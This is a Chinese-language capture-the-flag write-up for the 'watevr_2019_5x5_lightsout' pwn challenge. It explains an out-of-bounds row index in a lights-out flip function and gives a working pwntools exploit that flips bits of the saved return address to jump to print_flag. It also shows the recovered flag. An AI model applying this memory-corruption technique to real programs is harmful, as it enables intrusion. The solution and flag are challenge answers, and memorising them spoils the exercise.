[BUUCTF-pwn] watevr_2019_5x5_lightsout

远程未成功

外国题思路有些不同,这是个翻板游戏,每个字节为一表示一行,每字节8位表示8列,每给定一个(x,y)就反转这个格和上下左右格(有上下边界)

先看下代码:

_BYTE *__fastcall flip(__int64 ptr_s, int a2)
{
  _BYTE *result; // rax
  int v3; // [rsp+14h] [rbp-Ch]
  char v4; // [rsp+18h] [rbp-8h]
  int v5; // [rsp+1Ch] [rbp-4h]

  v4 = a2 & 0xF;                                // x <16
  v3 = a2 >> 4;                                 // y 越界
  if ( a2 >> 4 > 0 )                            // 上方 >0 处理上方1个格
    *(_BYTE *)(v3 - 1LL + ptr_s) ^= 1 << v4;
  LOBYTE(v5) = 3;
  if ( (a2 & 0xF) != 0 )
    v5 = 7 << (v4 - 1);
  result = (_BYTE *)(v3 + ptr_s);
  *result ^= v5;
  if ( v3 <= 14 )                               // 下方 <=14时处理下方1个格
  {
    result = (_BYTE *)(v3 + 1LL + ptr_s);
    *result ^= 1 << v4;
  }
  return result;
}

v3表示行,显然对行的下界没限制,这样可以向下越界,题目给出print_flag函数,只要把原来的返回地址0x400b6c翻翻翻,翻成0x400737即可

由于越界后都大于14,所以只异或本行的3位(边界为2位)和上一行(字节)的1位

from pwn import *
 
p = process('./pwn')
#p = remote('node4.buuoj.cn',29000)

#gdb.attach(p, 'b*0x400939')

p.sendlineafter(b'Press enter to run M-x 5x5',b'')
p.sendlineafter(b'Board size (1 to 8)?',b'1')

'''
0016| 0x7fffc97cde60 --> 0x400e1a ("Press enter to run M-x 5x5")
0024| 0x7fffc97cde68 --> 0x100000501 
0032| 0x7fffc97cde70 --> 0x7f6600000050 
0040| 0x7fffc97cde78 --> 0x1 
0048| 0x7fffc97cde80 --> 0x7fffc97cde88 -->     #*s->v6
0056| 0x7fffc97cde88 --> 0x7fd3383c6100 -->     #v6
0064| 0x7fffc97cde90 --> 0x7fffc97cdeb0 -->     #rbp
0072| 0x7fffc97cde98 --> 0x400b6c       <-------0x400b6c -> 0x400737
'''
#print_flag 0x400737
#main_ret   0x400b6c  +16
#
offset = 8*2
sor = list(p64(0x400b6c))
tar = list(p64(0x400737))
sor.append(0)
mask= [3,7,7<<1,7<<2,7<<3,7<<4,7<<5,3<<6]
m2 = [1,2,4,8,16,32,64,128]
for i in range(8):
    for j in range(8):
        if (((sor[i]^tar[i])>>j ) & 1) != 0:
            sor[i+1] ^= mask[j]
            #sor[i] ^=m2[j]
            p.sendlineafter(b'[f <x> <y>/h/q]:',f'f {j} {offset+i+1}'.encode())

p.sendlineafter(b'[f <x> <y>/h/q]:',b'q')
p.recv()
p.interactive()

运行后会跳到print_flag打印出测试flag

~/buuctf/394_watevr_2019_5x5_lightsout$ py b.py
[+] Starting local process './pwn': pid 1142836
[*] Switching to interactive mode
here you go: watevr{maybe_well_implement_M-x_tetris_some_day}[*] Got EOF while reading in interactive
$ 

按理说,这种程序本地和远程库基本相同，不应该加载的位置不同，但远程根本对不上号。估计是Docker里的东西和下载的程序有差异。